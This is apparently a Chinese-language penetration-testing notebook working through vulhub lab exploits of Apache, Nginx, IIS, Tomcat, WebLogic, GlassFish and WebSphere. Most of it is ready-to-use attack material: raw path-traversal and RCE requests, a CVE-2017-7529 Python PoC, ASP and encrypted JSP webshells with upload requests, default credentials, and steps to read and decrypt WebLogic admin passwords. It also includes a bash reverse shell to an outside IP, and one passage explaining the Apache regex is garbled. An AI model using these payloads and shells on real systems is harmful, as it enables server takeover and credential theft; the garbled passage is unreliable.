影响版本:2.4.0~2.4.29
漏洞原理:apache这次解析漏洞的根本原因就是这个 ∗ ∗ ,正则表达式中,我们都知道 ** ,正则表达式中,我们都知道 ∗∗,正则表达式中,我们都知道用来匹配字符串结尾位置**
$符号: 匹配输入字符串的结尾位置。如果设置了 RegExp 对象的 Multiline 属性,则 $ 也匹配 '\n' 或 '\r'
要匹配 $ 字符本身,请使用\$
如果设置MULTILINE标示,就当作换符处理,如果不设置就当作一行文本处理
本次实验是vulhub下的,所以找到apache配置文件,路径在/etc/apache2/ 下, apache2.conf 是apache核心配置文件查看其文件发现如下代码:意思是包含这两个文件下的以conf结尾的文件
IncludeOptional confenabled/*.conf
IncludeOptional sitesenabled/*.conf
跟进该文件发现关于php的配置文件为docker-php.conf,打开为如下
SetHandler application/xhttpdphp
可以看到在正则中是 .php , 因为结尾有个 ,因为结尾有个 ,因为结尾有个符号,结合上述原理,$匹配 ‘\n’ 或 ‘\r’,所以我们修改数据包在文件名后加\n,\n的十六进制为0a
首先查看index.php文件中的php源码
if(isset($_FILES['file'])) {
$name = basename($_POST['name']);
$ext = pathinfo($name,PATHINFO_EXTENSION);
if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
exit('bad file');
}
move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);
} else {
?>
上传一个名为1.php的文件,被拦截:
在1.php后面插入一个\x0A
(注意,不能是\x0D\x0A
,只能是一个\x0A
),不再拦截
关于windows和Linux下这个利用是有区别的
影响版本:Apache 2.4.49 和 Apache 2.4.50
打开靶场
任意命令执行
GET /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host: 47.99.49.128:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=AE8DC398D32400BA213293A544A573BA
Upgrade-Insecure-Requests: 1
If-Modified-Since: Mon, 11 Jun 2007 18:53:14 GMT
If-None-Match: "2d-432a5e4a73a80"
Content-Length: 7
echo;id
影响版本:Apache 2.4.49 和 Apache 2.4.50
打开靶场
文件读取
/icons/.%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
漏洞原因:PHP配置文件中有一个参数是cgi.fix_pathinfo,如果参数cgi.fix_pathinfo=1,则产生该漏洞。关闭pathinfo的情况下,只有.php后缀的文件才会被发送给fastcgi解析。而存在CVE-2013-4547的情况下,我们请求1.gif[0x20][0x00].php
,这个URI可以匹配上正则 .php$,可以进入这个Location块;但进入后,由于fastcgi在查找文件时被\0截断,Nginx却错误地认为请求的文件是1.gif[0x20],就设置其为SCRIPT_FILENAME的值发送给fastcgi
打开靶场
上传一个jpg文件,后面命名加一个空格
访问上传文件 phpinfoa.gif[0x20][0x20].php
时,将文件修改为phpinfoa.gif[0x20][0x00].php
;[0x20]为空格,[0x00]为\0(起到截断作用)
影响版本 Nginx 0.5.6 – 1.13.2
原理
打开靶场
POC
import requests
import time
import urllib3
def cve20177529():
try:
# 构造请求头
headers = {
'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36"
}
url = input('请输入目标URL:')
# 获取正常响应的返回长度
#verify=False防止ssl证书校验,allow_redirects=False,防止跳转导致误报的出现
r1 = requests.get(url,headers=headers,verify=False,allow_redirects=False)
url_len = len(r1.content)
# 将数据长度加长,大于返回的正常长度
addnum = 200
final_len = url_len + addnum
# 构造Range请求头,并加进headers中
# headers['Range'] = "bytes=-%d,-%d" % (final_len, 0x8000000000000000-final_len)
headers = {
'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36",
'Range':"bytes=-%d,-%d" % (final_len, 0x8000000000000000-final_len)
}
# 用构造的新的headers发送请求包,并输出结果
r2 = requests.get(url, headers=headers,verify=False,allow_redirects=False)
text = r2.text
code = r2.status_code
if ('ETag') in text and code == 206:
print('存在Nginx整数溢出漏洞(CVE-2017-7529),已输出到cve20177529_log.txt')
# 将结果输出到文本上
with open('cve20177529_log.txt','a',encoding="utf-8") as f:
f.write('存在Nginx整数溢出漏洞(CVE-2017-7529)-------------'+time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))+'-------------\n' + r2.text)
f.close
else:
print('未检测到漏洞')
# 将结果输出到文本上
with open('cve20177529_log.txt','a',encoding="utf-8") as f:
f.write('未检测到漏洞-------------'+time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))+'-------------\n' + r2.text)
f.close
except Exception as result:
print(result)
if __name__ == "__main__":
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
cve20177529()
存在Nginx整数溢出漏洞(CVE-2017-7529)-------------2024-01-20 15:27:15-------------
--00000000000000000002
Content-Type: text/html; charset=utf-8
Content-Range: bytes -200-611/612
, 20 Jan 2024 07:24:51 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 612
Last-Modified: Tue, 27 Jun 2017 13:40:50 GMT
Connection: close
ETag: "59526062-264"
Accept-Ranges: bytes
Welcome to nginx!
Welcome to nginx!
If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.
For online documentation and support please refer to
nginx.org.
Commercial support is available at
nginx.com.
Thank you for using nginx.
--00000000000000000002
Content-Type: text/html; charset=utf-8
Content-Range: bytes -9223372036854774384-611/612
一些配置错误的情况,与nginx、php版本无关;security.limit_extensions被设置为了空,故什么文件都是可以执行的,所以在防护的时候,需要将这个配置为.php
(即:仅为.php的文件才能执行)
打开靶场
上传图片马,然后在访问返回的路径后面加上/.php
IIS短文件名有以下几个特征:
受影响版本
IIS 1.0,Windows NT 3.51
IIS 3.0,Windows NT 4.0 Service Pack 2
IIS 4.0,Windows NT 4.0选项包
IIS 5.0,Windows 2000
IIS 5.1,Windows XP Professional和Windows XP Media Center Edition
IIS 6.0,Windows Server 2003和Windows XP Professional x64 Edition
IIS 7.0,Windows Server 2008和Windows Vista
IIS 7.5,Windows 7(远程启用或没有web.config)
IIS 7.5,Windows 2008(经典管道模式)
注意:IIS使用.Net Framework 4时不受影响
工具利用
iis_shortname_Scan
python iis_shortname_Scan.py url
目录解析:以xx.asp命名的文件夹里的文件都将会被当成ASP文件执行
文件解析:xx.asp;.jpg
像这种文件名在;后面的直接被忽略,也就是说当成xx.asp文件执行
漏洞造成原因
IIS Server在Web服务扩展中开启了WebDAV,配置了可以写入的权限,造成任意文件上传
把WebDAV设置为允许、然后网站主目录下设置可写入权限
使用IISPutScanner工具查看是否存在put漏洞
将 GET
修改为 OPTIONS
查看可执行命令
使用PUT方法上传名为glc.txt的一句话mua,然后用MOVE方法更改文件名为glc.asp
<%eval request("glc")%>
PUT /glc.txt HTTP/1.1
Host: 192.168.80.152
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ASPSESSIONIDSQQADAAC=FCLNHIICBNNOGELHGDJPBOGM
Upgrade-Insecure-Requests: 1
Content-Length: 23
<%eval request("glc")%>
MOVE /glc.txt HTTP/1.1
Host: 192.168.80.152
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ASPSESSIONIDSQQADAAC=FCLNHIICBNNOGELHGDJPBOGM
Upgrade-Insecure-Requests: 1
Content-Length: 23
Destination: /glc.asp;.jpg
<%eval request("glc")%>
或者使用工具
Tomcat AJP 文件包含漏洞
Tomcat弱口令
Tomcat反序列化漏洞(CVE-2016-8735)
Tomcat本地提权漏洞(CVE-2016-1240)
Tomcat之JMX服务弱口令漏洞
Tomcat的PUT的上传漏洞(CVE-2017-12615)
Tomcat win版默认空口令漏洞(CVE-2009-3548)
Tomcat 样例目录session操控漏洞
打开靶场
使用弱口令登录后台
:8080/manager/html
tomcat:tomcat
将jsp马压缩为.war,完成后上传
jar -cvf shell.war shell.jsp
完成上传,连接shell
在Tomcat配置文件设置了PUT上传方法,在 web.xml 文件,可以发现,默认 readonly 为 true,当 readonly设置为 false 时,可以通过 PUT / DELETE 进行文件操控
打开靶场
发送数据包,虽然Tomcat对文件后缀有一定检测(不能直接写jsp),但我们使用一些文件系统的特性(如Linux下可用/ )来绕过了限制
PUT /glc.jsp/ HTTP/1.1
Host: 47.99.49.128:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 612
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
连接shell
#控制台路径泄露
Weakpassword 弱口令
weblogic SSRF (CVE20144210)漏洞
weblogic 反序列化(CVE20154852)
weblogic 反序列化(CVE20160638)
weblogic 反序列化(CVE20163510)
weblogic 反序列化(CVE20173248)
weblogic 反序列化(CVE20182628)
weblogic 反序列化(CVE20182893)
weblogic 文件上传(CVE20182894)
weblogic XMLDecoder反序列化(CVE201710271)
weblogic XMLDecoder反序列化(CVE20173506)
weblogic 未授权访问CVE202014883(CVE202014882)
文件路径:weblogic/weak_password
版本信息
Weblogic版本:10.3.6(11g)
Java版本:1.6
环境启动后,访问http://your-ip:7001/console
,即为weblogic后台
弱口令:本环境存在弱口令
账号:weblogic
密码:Oracle@123
任意文件读取漏洞的利用
本环境前台模拟了一个任意文件下载漏洞,访问/hello/file.jsp?path=/etc/passwd
可见成功读取passwd文件
读取后台用户密文与密钥文件
weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.dat
和config.xml
,在本环境中为./security/SerializedSystemIni.dat
和./config/config.xml
(基于当前目录/root/Oracle/Middleware/user_projects/domains/base_domain
)
SerializedSystemIni.dat
是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码,右键copy to file就可以保存成一个文件
/hello/file.jsp?path=security/SerializedSystemIni.dat
config.xml
是base_domain的全局配置文件,所以乱七八糟的内容比较多,找到其中的
的值,即为加密后的管理员密码,不要找错了
/hello/file.jsp?path=config/config.xml
解密密文
影响范围
Oracle WebLogic Server 10.3.6.0
Oracle WebLogic Server 12.1.3.0
Oracle WebLogic Server 12.2.1.2
Oracle WebLogic Server 12.2.1.3
打开靶场
工具梭哈
反弹shell
影响版本
weblogic 10.3.6.0.0
weblogic 12.1.3.0.0
weblogic 12.2.1.3.0
weblogic 12.2.1.4.0
weblogic 14.1.1.0.0
启动靶场
直接梭哈
打开靶场
由于Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法,我们需要用进行一次编码
bash -i >& /dev/tcp/120.46.39.241/8848 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNDYuMzkuMjQxLzg4NDggMD4mMQ==
工具梭哈
https://github.com/yunxu1/jboss-_CVE-2017-12149
影响版本:Oracle GlassFish Server Open Source Edition 4.1版本
打开靶场
POC
读密码
/theme/META-INF/%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./domains/domain1/config/admin-keyfile
读windows文件
/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini
读linux文件
/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
WebSphere 是 IBM 的软件平台。它包含了编写、运行和监视全天候的工业强度的随需应变 Web 应用程序和跨平台、跨产品解决方案所需要的整个中间件基础设施,如服务器、服务和工具。WebSphere 提供了可靠、灵活和健壮的软件
端口:9080—web(http)应用访问端口、9443—web(https)应用访问端口、9060—管理后台访问端口、9043—管理控制台安全端口、8880—SOAP连接器端口等等
漏洞探测在8880端口,后台是9060端口,解析是9080端口
fofa语法:
“websphere” && server==“WebSphere Application Server/7.0” && port=“8880”
“websphere” && server==“WebSphere Application Server/7.0” && port=“9060”
漏洞影响版本
IBM Websphere Application Server 7.0
IBM Websphere Application Server 6.2
启动环境
拉取镜像:docker pull iscrosales/websphere7
启动镜像:docker run -d -p 9060:9060 -p 9043:9043 -p 8880:8880 -p 9080:9080 iscrosales/websphere7
漏洞页面
工具梭哈
发现漏洞
访问控制页面,输入admin登录
:9060/ibm/console/
生成mua,压缩为zip文件,然后修改后缀为.war,点击上传
一直点next,然后设置路径
点击完成,然后选择save
启用我们上传的文件
访问文件需要到特定的访问端口:9080—web(http)应用访问端口、9443—web(https)应用访问端口